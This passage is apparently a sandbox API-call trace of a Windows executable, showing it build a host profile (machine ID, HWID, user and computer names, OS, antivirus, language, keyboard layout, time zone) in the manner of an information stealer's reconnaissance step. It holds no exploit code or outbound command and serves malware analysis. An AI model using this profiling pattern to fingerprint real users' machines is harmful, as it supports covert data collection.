RDhJ0CNFevzX\nDisplay Resolution: 1440x900") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900"
[0054.746] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\n"
[0054.746] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\n", lpString2="Display Language: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: "
[0054.746] GetUserDefaultLocaleName (in: lpLocaleName=0x18220c, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6
[0054.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
[0054.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x671128
[0054.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x671128, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 6
[0054.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0054.746] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: ", lpString2="en-US" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US"
[0054.746] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\n"
[0054.746] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\n", lpString2="Keyboard Languages: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: "
[0054.746] GetProcessHeap () returned 0x680000
[0054.746] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1f4) returned 0x759d28
[0054.746] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1
[0054.746] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x741b88
[0054.746] GetKeyboardLayoutList (in: nBuff=1, lpList=0x741b88 | out: lpList=0x741b88) returned 1
[0054.746] GetLocaleInfoA (in: Locale=0x409, LCType=0x2, lpLCData=0x1820c8, cchData=512 | out: lpLCData="English (United States)") returned 24
[0054.751] wsprintfA (in: param_1=0x759d28, param_2="%s" | out: param_1="English (United States)") returned 23
[0054.751] LocalFree (hMem=0x741b88) returned 0x0
[0054.751] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: ", lpString2="English (United States)" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)"
[0054.752] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\n"
[0054.752] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\n", lpString2="Local Time: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: "
[0054.752] GetProcessHeap () returned 0x680000
[0054.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0x758a08
[0054.752] GetLocalTime (in: lpSystemTime=0x1822b8 | out: lpSystemTime=0x1822b8*(wYear=0x7e7, wMonth=0x4, wDayOfWeek=0x4, wDay=0xd, wHour=0x10, wMinute=0x10, wSecond=0x4, wMilliseconds=0xa3))
[0054.752] wsprintfA (in: param_1=0x758a08, param_2="%d/%d/%d %d:%d:%d" | out: param_1="13/4/2023 16:16:4") returned 17
[0054.752] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: ", lpString2="13/4/2023 16:16:4" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4"
[0054.752] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\n"
[0054.752] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\n", lpString2="TimeZone: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: "
[0054.752] GetSystemTime (in: lpSystemTime=0x1822a8 | out: lpSystemTime=0x1822a8*(wYear=0x7e7, wMonth=0x4, wDayOfWeek=0x4, wDay=0xd, wHour=0xe, wMinute=0x10, wSecond=0x4, wMilliseconds=0xa3))
[0054.752] GetTimeZoneInformation (in: lpTimeZoneInformation=0x1821d0 | out: lpTimeZoneInformation=0x1821d0) returned 0x2
[0054.752] TzSpecificLocalTimeToSystemTime (in: lpTimeZoneInformation=0x1821d0, lpLocalTime=0x1822a8, lpUniversalTime=0x182298 | out: lpUniversalTime=0x182298) returned 1
[0054.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x671128
[0054.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0xdfe9f70
[0054.753] GetLastError () returned 0x0
[0054.753] SetLastError (dwErrCode=0x0)
[0054.755] GetLastError () returned 0x0
[0054.755] SetLastError (dwErrCode=0x0)
[0054.755] GetLastError () returned 0x0
[0054.755] SetLastError (dwErrCode=0x0)
[0054.755] GetLastError () returned 0x0
[0054.755] SetLastError (dwErrCode=0x0)
[0054.755] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0xdfe9f80
[0054.756] GetLastError () returned 0x0
[0054.756] SetLastError (dwErrCode=0x0)
[0054.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xdfe9f80 | out: hHeap=0x670000) returned 1
[0054.757] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xdfe9f70 | out: hHeap=0x670000) returned 1
